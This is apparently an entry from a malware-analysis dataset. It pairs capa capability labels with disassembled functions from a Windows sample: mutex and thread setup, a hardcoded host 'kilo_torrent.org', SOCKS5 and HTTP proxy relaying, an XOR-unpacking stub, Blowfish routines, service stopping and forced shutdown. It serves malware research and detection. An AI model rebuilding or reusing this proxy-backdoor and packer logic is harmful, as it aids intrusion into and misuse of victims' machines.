joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401a10
Capabilities:
Check mutex on windows
Create thread
Get common file path
Get disk information
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x304
mov dword [ebp - 0x1c], 0
lea eax, [ebp - 0x174]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jbe 0x401a86
mov ecx, 1
imul ecx, ecx, 3
mov byte [ebp + ecx - 0x174], 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x14]
push edx
push 0
push 0
lea eax, [ebp - 0x174]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x401a79
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xc], ecx
jmp 0x401a80
mov dword [ebp - 0xc], 0
mov edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
push eax
lea ecx, [ebp - 0x30]
push ecx
call fcn.004011e0
add esp, 8
mov edx, 0x2da
mov word [0x40400c], dx
push 0x4033e0
push 0x404028
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.kilo_torrent.org
push 0x404068
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x304]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [0x404008], 1
lea ecx, [ebp - 0x30]
push ecx
push str.Global_s
lea edx, [ebp - 0x70]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x70]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x401b68
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401b29
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x401b68
push 0
push 0
push 0
push 0x401540
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x401b5e
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x401b6b
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret

Function at 0x401b70
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0x10]
jge 0x401bb5
push 0
mov ecx, dword [ebp + 0x10]
sub ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jg 0x401baa
jmp 0x401bb5
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
jmp 0x401b7d
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x401bc0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x401c0f
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x401c0f
mov edx, 4
imul edx, edx, 0
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0xc]
mov edx, dword [edx + ecx]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x401c20
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 8], 0xffffffff
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0xf
mov ecx, dword [ebp + 8]
push ecx
call sub.DNSAPI.dll_DnsQuery_A
test eax, eax
jne 0x401cba
mov edx, dword [ebp - 4]
push edx
call fcn.004010f0
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x401caf
mov eax, dword [ebp - 4]
movzx ecx, word [eax + 8]
cmp ecx, 0xf
jne 0x401caf
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x401caf
push 0
lea ecx, [ebp - 0xc]
push ecx
push 0
push 0
push 1
mov edx, dword [ebp - 0x10]
push edx
call sub.DNSAPI.dll_DnsQuery_A
test eax, eax
jne 0x401caf
mov eax, dword [ebp - 0xc]
movzx ecx, word [eax + 8]
cmp ecx, 1
jne 0x401ca4
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x18]
mov dword [ebp - 8], eax
push 1
mov ecx, dword [ebp - 0xc]
push ecx
call sub.DNSAPI.dll_DnsFree
push 1
mov edx, dword [ebp - 4]
push edx
call sub.DNSAPI.dll_DnsFree
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x401cd0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 0
mov eax, dword [ebp + 8]
mov dword [eax], 0x7704b285
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], 0x33e038ce
mov edx, dword [ebp + 8]
mov byte [edx + 8], 4
push 0
push 0x1a
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0x1a
jne 0x401d17
mov dword [ebp - 4], 1
jmp 0x401d1e
mov dword [ebp - 4], 0
mov edx, dword [ebp - 4]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x401e50
Capabilities:
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 2
mov eax, 1
test eax, eax
je 0x401f80
mov dword [ebp - 0x114], 2
mov ecx, 4
imul ecx, ecx, 0
mov edx, dword [ebp + 0xc]
mov dword [ebp + ecx - 0x110], edx
mov eax, 4
shl eax, 0
mov ecx, dword [ebp + 8]
mov dword [ebp + eax - 0x110], ecx
lea edx, [ebp - 0x10]
push edx
push 0
push 0
lea eax, [ebp - 0x114]
push eax
push 0
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x401e74
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x114]
push edx
call fcn.004012c0
add esp, 8
test eax, eax
je 0x401f2e
push 0
push 0x1000
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jg 0x401ef9
xor eax, eax
jmp 0x401f80
cmp dword [ebp + 0x14], 0
je 0x401f1a
mov edx, dword [ebp + 0x10]
cmp dword [edx], 0x20544547
je 0x401f15
mov eax, dword [ebp + 0x10]
cmp dword [eax], 0x54534f50
jne 0x401f1a
mov eax, dword [ebp - 4]
jmp 0x401f80
push 0
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x114]
push edx
call fcn.004012c0
add esp, 8
test eax, eax
je 0x401f7b
push 0
push 0x1000
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jg 0x401f67
xor eax, eax
jmp 0x401f80
push 0
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.WS2_32.dll_send]
jmp 0x401e67
mov esp, ebp
pop ebp
ret
Function at 0x402620
Capabilities:
Send data
Send data on socket
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call sub.ntdll.dll__chkstk
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 0xc]
add eax, dword [ebp + 8]
mov byte [eax], 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00401490
add esp, 0xc
test eax, eax
je 0x402674
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x1014]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.004024a0
add esp, 0x10
test eax, eax
jne 0x40268c
push 0
push 0x3f
push 0x403188
mov edx, dword [ebp + 0x10]
push edx
call dword [sym.imp.WS2_32.dll_send]
mov eax, dword [ebp - 4]
jmp 0x4026fd
mov eax, dword [ebp - 0x14]
push eax
call fcn.00401bc0
add esp, 4
mov dword [ebp - 0x10], eax
movzx ecx, word [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call fcn.00401170
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x4026bb
cmp dword [ebp - 8], 0xffffffff
jne 0x4026d3
push 0
push 0x3f
push 0x4031c8
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov eax, dword [ebp - 4]
jmp 0x4026fd
mov ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
push 0
lea edx, [ebp - 0x1014]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x1014]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x402a20
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov dword [ebp - 4], 0xffffffff
push 0
push 0x408
lea eax, [ebp - 0x414]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 8
jl 0x402adb
mov edx, 1
shl edx, 0
movsx eax, byte [ebp + edx - 0x414]
cmp eax, 1
jne 0x402adb
mov ecx, 1
imul ecx, ecx, 0
mov byte [ebp + ecx - 0x414], 0
mov edx, 1
shl edx, 1
movzx eax, word [ebp + edx - 0x414]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 8], ax
movzx ecx, word [ebp - 8]
push ecx
mov edx, 1
shl edx, 2
mov eax, dword [ebp + edx - 0x414]
push eax
call fcn.00401170
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x402abf
mov dword [ebp - 0xc], 1
jmp 0x402ac6
mov dword [ebp - 0xc], 0
mov ecx, dword [ebp - 0xc]
add ecx, 0x5a
mov edx, 1
shl edx, 0
mov byte [ebp + edx - 0x414], cl
push 0
push 8
lea eax, [ebp - 0x414]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x402b00
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 0x18], 0
mov eax, dword [ebp + 0xc]
push eax
push 0x403230
lea ecx, [ebp - 2]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x14], edx
mov byte [ebp - 3], 5
mov byte [ebp - 6], 2
push 0
push 2
lea eax, [ebp - 3]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_send]
push 0
push 1
lea edx, [ebp - 1]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 1
je 0x402b64
xor eax, eax
jmp 0x402c98
movsx ecx, byte [ebp - 1]
cmp ecx, 1
je 0x402b74
xor eax, eax
jmp 0x402c98
push 0
push 1
lea edx, [ebp - 1]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 1
je 0x402b92
xor eax, eax
jmp 0x402c98
movsx ecx, byte [ebp - 1]
test ecx, ecx
jne 0x402ba1
xor eax, eax
jmp 0x402c98
movzx edx, byte [ebp - 1]
push edx
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401b70
add esp, 0xc
mov dword [ebp - 0x20], eax
movzx edx, byte [ebp - 1]
cmp dword [ebp - 0x20], edx
je 0x402bc9
xor eax, eax
jmp 0x402c98
push 0
push 1
lea eax, [ebp - 1]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 1
je 0x402be7
xor eax, eax
jmp 0x402c98
movsx edx, byte [ebp - 1]
test edx, edx
jne 0x402bf6
xor eax, eax
jmp 0x402c98
movzx eax, byte [ebp - 1]
push eax
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401b70
add esp, 0xc
mov dword [ebp - 0x24], eax
movzx eax, byte [ebp - 1]
cmp dword [ebp - 0x24], eax
je 0x402c1b
xor eax, eax
jmp 0x402c98
mov byte [ebp - 5], 1
movzx ecx, byte [ebp - 1]
cmp dword [ebp - 0x14], ecx
je 0x402c2c
jmp 0x402c7f
lea edx, [ebp - 2]
mov dword [ebp - 0x28], edx
movzx eax, byte [ebp - 1]
mov dword [ebp - 0x2c], eax
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x10], 0
movzx edx, byte [ebp - 1]
push edx
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 2]
push ecx
call sub.ntdll.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x402c66
mov dword [ebp - 0x10], 1
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x10], 0
je 0x402c7f
mov byte [ebp - 4], 0
mov dword [ebp - 0x18], 1
jmp 0x402c83
mov byte [ebp - 4], 1
push 0
push 2
lea eax, [ebp - 5]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov eax, dword [ebp - 0x18]
mov esp, ebp
pop ebp
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x42e072
mov ebx, 0x407ef8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x5dd225f9
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x42e060
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
je 0x42e0d2
nop
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x34ff1da6
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x406ca5
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
mov ecx, dword [ebp + 0x14]
mov esi, dword [ecx]
mov ebx, dword [ebp + 0xc]
lea edi, [ebx + 4]
mov dword [ebp - 0x34], 0x10
xor eax, dword [edi]
mov dword [ebp - 0x2c], eax
push 0
push eax
push ebx
push 0
call fcn.00406cf0
add esp, 0x10
xor eax, esi
mov esi, dword [ebp - 0x2c]
add edi, 4
dec dword [ebp - 0x34]
jne 0x406cbc
mov ecx, dword [ebx + 0x44]
xor ecx, eax
xor esi, dword [ebx + 0x48]
mov edx, dword [ebp + 0x10]
mov dword [edx], esi
mov eax, dword [ebp + 0x14]
mov dword [eax], ecx
ret

Function at 0x406e25
Capabilities:
Encrypt data using blowfish

Disassembly:
mov eax, 0x490aa0
mov edi, dword [ebp + 0xc]
lea ecx, [edi + 0x4c]
mov edx, pe_nt_image_headers32
mov esi, dword [eax]
mov dword [ecx], esi
add eax, 4
add ecx, 4
dec edx
jne 0x406e35
cmp eax, 0x491aa0
jl 0x406e30
xor ecx, ecx
mov esi, 0x490a58
add edi, 4
mov edx, dword [ebp + 0x10]
xor eax, eax
mov dword [ebp - 0x3c], 4
xor ebx, ebx
mov bl, byte [ecx + edx]
shl eax, 8
or eax, ebx
inc ecx
cmp ecx, dword [ebp + 0x14]
jl 0x406e71
xor ecx, ecx
dec dword [ebp - 0x3c]
jne 0x406e5f
xor eax, dword [esi]
mov dword [edi], eax
add esi, 4
add edi, 4
cmp esi, 0x490aa0
jl 0x406e56
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp + 0xc]
lea esi, [ebx + 8]
mov edi, 9
push 0
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x24]
push ecx
push ebx
push 0
call fcn.00406c40
add esp, 0x14
mov edx, dword [ebp - 0x24]
mov dword [esi - 4], edx
mov eax, dword [ebp - 0x2c]
mov dword [esi], eax
add esi, 8
dec edi
jne 0x406e9b
lea esi, [ebx + 0x50]
mov dword [ebp - 0x40], 4
mov edi, 0x80
push 0
lea ecx, [ebp - 0x2c]
push ecx
lea edx, [ebp - 0x24]
push edx
push ebx
push 0
call fcn.00406c40
add esp, 0x14
mov eax, dword [ebp - 0x24]
mov dword [esi - 4], eax
mov ecx, dword [ebp - 0x2c]
mov dword [esi], ecx
add esi, 8
dec edi
jne 0x406ed0
dec dword [ebp - 0x40]
jne 0x406ecb
ret

Function at 0x407065
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
mov ecx, dword [ebp + 0x14]
mov esi, dword [ecx]
mov ebx, dword [ebp + 0xc]
lea edi, [ebx + 0x48]
mov dword [ebp - 0x34], 0x10
xor eax, dword [edi]
mov dword [ebp - 0x2c], eax
push 0
push eax
push ebx
push 0
call fcn.00406cf0
add esp, 0x10
xor eax, esi
mov esi, dword [ebp - 0x2c]
sub edi, 4
dec dword [ebp - 0x34]
jne 0x40707c
mov ecx, dword [ebx + 8]
xor ecx, eax
xor esi, dword [ebx + 4]
mov edx, dword [ebp + 0x10]
mov dword [edx], esi
mov eax, dword [ebp + 0x14]
mov dword [eax], ecx
ret
Function at 0x422e80
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push eax
xor eax, eax
pop eax
je 0x422e91
invalid
mov edi, 0x4c05e4
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [ebp + 8]
repne scasb al, byte es:[edi]
mov eax, dword [edx + 8]
not ecx
dec ecx
mov ebx, ecx
mov ecx, eax
cmp eax, ebx
jb 0x422eb0
mov ecx, ebx
mov esi, dword [edx + 4]
mov edi, 0x4c05e4
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x422ec3
sbb edx, edx
sbb edx, 0xffffffff
test edx, edx
jne 0x422ed4
cmp eax, ebx
jb 0x422ed4
cmp eax, ebx
setne dl
test edx, edx
je 0x422f24
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x422f24
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
test eax, eax
jne 0x422ef8
mov eax, 0x48e810
push 0xf01ff
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x422f21
lea ecx, [ebp - 0x1c]
push ecx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
call ebx
push edi
call ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4323a1
Capabilities:
Read file on windows

Disassembly:
ror byte [ebx], cl
xor al, 0x24
dec esi
stosb byte es:[edi], al
inc esi
or al, 0xa8
or dword [edi], 0xffffff84
mov dword [eax], 0x40a80000
jne 0x432478
test al, 2
je 0x4323c7
or al, 0x20
mov dword [esi + 0xc], eax
jmp 0x432478
or al, 1
test ax, 0x10c
mov dword [esi + 0xc], eax
jne 0x4323db
push esi
call fcn.00435686
pop ecx
jmp 0x4323e0
mov eax, dword [esi + 8]
mov dword [esi], eax
push dword [esi + 0x18]
push dword [esi + 8]
push dword [esi + 0x10]
call fcn.0043247d
add esp, 0xc
mov dword [esi + 4], eax
test eax, eax
je 0x432467
cmp eax, 0xffffffff
je 0x432467
mov edx, dword [esi + 0xc]
test dl, 0x82
jne 0x43243c
mov ecx, dword [esi + 0x10]
push edi
cmp ecx, 0xffffffff
je 0x432425
mov edi, ecx
sar edi, 5
and ecx, 0x1f
mov edi, dword [edi*4 + 0x4cbfa0]
lea ecx, [ecx + ecx*8]
lea edi, [edi + ecx*4]
jmp 0x43242a
mov edi, 0x4b5510
mov cl, byte [edi + 4]
pop edi
and cl, 0x82
cmp cl, 0x82
jne 0x43243c
or dh, 0x20
mov dword [esi + 0xc], edx
cmp dword [esi + 0x18], 0x200
jne 0x432459
mov ecx, dword [esi + 0xc]
test cl, 8
je 0x432459
test ch, 4
jne 0x432459
mov dword [esi + 0x18], 0x1000
mov ecx, dword [esi]
dec eax
mov dword [esi + 4], eax
movzx eax, byte [ecx]
inc ecx
mov dword [esi], ecx
pop esi
ret
neg eax
sbb eax, eax
and eax, 0x10
add eax, 0x10
or dword [esi + 0xc], eax
and dword [esi + 4], 0
or eax, 0xffffffff
pop esi
ret
Function at 0x438fd0
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push eax
xor eax, eax
pop eax
je 0x438fe1
invalid
push eax
xor eax, eax
pop eax
je 0x438fe9
invalid
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x439094
lea ecx, [ebp - 0x10]
push ecx
push 0x4b7adc
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x439094
mov eax, dword [ebp - 4]
push 0
push 0
lea edx, [ebp - 0x14]
push 0
push edx
push 0
push eax
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x439094
push 0
push 2
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push eax
xor eax, eax
pop eax
je 0x43905a
invalid
mov edi, dword [sym.imp.WINMM.dll_timeGetTime]
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
xor eax, eax
mov ecx, 0x3e8
sub ecx, eax
push ecx
call ebx
call edi
cmp eax, esi
jb 0x439080
sub eax, esi
jmp 0x439083
sub eax, esi
dec eax
cmp eax, 0x3e8
jb 0x43906c
push 0
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43b1d0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
push eax
xor eax, eax
pop eax
je 0x43b1e1
invalid
mov ebx, dword [ebp + 8]
mov esi, dword [ebx + 4]
mov ecx, dword [ebx + 0xc]
test ecx, ecx
mov eax, dword [esi]
mov dword [ebp + 8], eax
je 0x43b24d
mov ecx, eax
cmp eax, ecx
jne 0x43b24d
mov edi, dword [esi + 4]
mov eax, dword [0x4c1e7c]
cmp edi, eax
mov esi, edi
je 0x43b228
mov eax, dword [esi + 8]
mov ecx, ebx
push eax
call fcn.0040a050
mov esi, dword [esi]
push edi
call fcn.00486808
mov eax, dword [0x4c1e7c]
add esp, 4
cmp esi, eax
mov edi, esi
jne 0x43b207
mov ecx, dword [ebx + 4]
lea edx, [ebp - 0x10]
push edx
mov dword [ecx + 4], eax
mov eax, dword [ebx + 4]
mov dword [ebx + 0xc], 0
mov ecx, ebx
mov dword [eax], eax
mov eax, dword [ebx + 4]
mov dword [eax + 8], eax
call fcn.0044aa90
jmp 0x43b26e
cmp eax, esi
je 0x43b26e
lea ecx, [ebp + 8]
mov edi, eax
call fcn.00409860
lea eax, [ebp - 0xc]
push edi
push eax
mov ecx, ebx
call fcn.00409c50
mov eax, dword [ebp + 8]
cmp eax, esi
jne 0x43b251
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
test eax, eax
mov dword [ebp - 0x10], eax
je 0x43b394
xor ecx, ecx
mov dword [ebp - 0xc], ecx
jmp 0x43b289
mov eax, dword [ebp - 0x10]
mov edx, 1
shl edx, cl
test eax, edx
je 0x43b384
mov eax, dword [0x4b7af4]
add cl, 0x41
mov dword [ebp - 4], eax
mov byte [ebp - 4], cl
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x43b384
mov edi, dword [ebx + 4]
mov edx, dword [0x4c1e7c]
mov cl, byte [ebp - 4]
mov al, 1
mov esi, dword [edi + 4]
cmp esi, edx
je 0x43b2e7
mov al, byte [esi + 0xc]
mov edi, esi
cmp cl, al
setl al
test al, al
je 0x43b2e0
mov esi, dword [esi]
jmp 0x43b2e3
mov esi, dword [esi + 8]
cmp esi, edx
jne 0x43b2ce
mov dl, byte [ebx + 8]
test dl, dl
je 0x43b30a
lea edx, [ebp - 4]
lea eax, [ebp - 0x14]
push edx
push edi
push esi
push eax
mov ecx, ebx
call fcn.004132f0
mov ecx, dword [eax]
mov byte [ebp - 0x24], 1
mov dword [ebp - 0x28], ecx
jmp 0x43b384
test al, al
mov dword [ebp - 8], edi
je 0x43b34c
lea edx, [ebp - 0x18]
mov ecx, ebx
push edx
call fcn.0044aa90
mov ecx, dword [ebp - 8]
mov edx, dword [eax]
cmp ecx, edx
jne 0x43b341
lea edx, [ebp + 0xb]
lea eax, [ebp - 4]
push edx
push eax
push edi
lea ecx, [ebp - 0x1c]
push esi
push ecx
mov ecx, ebx
mov byte [ebp + 0xb], 1
call fcn.004132f0
push eax
jmp 0x43b37c
lea ecx, [ebp - 8]
call fcn.00413cf0
mov cl, byte [ebp - 4]
mov edx, dword [ebp - 8]
cmp byte [edx + 0xc], cl
jge 0x43b370
lea eax, [ebp + 0xb]
lea ecx, [ebp - 4]
push eax
push ecx
push edi
lea edx, [ebp - 0x20]
push esi
push edx
mov ecx, ebx
mov byte [ebp + 0xb], 1
call fcn.004132f0
push eax
jmp 0x43b37c
lea eax, [ebp + 0xb]
lea ecx, [ebp - 8]
push eax
mov byte [ebp + 0xb], 0
push ecx
lea ecx, [ebp - 0x28]
call fcn.00413cd0
mov ecx, dword [ebp - 0xc]
inc ecx
cmp ecx, 0x1a
mov dword [ebp - 0xc], ecx
jl 0x43b286
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4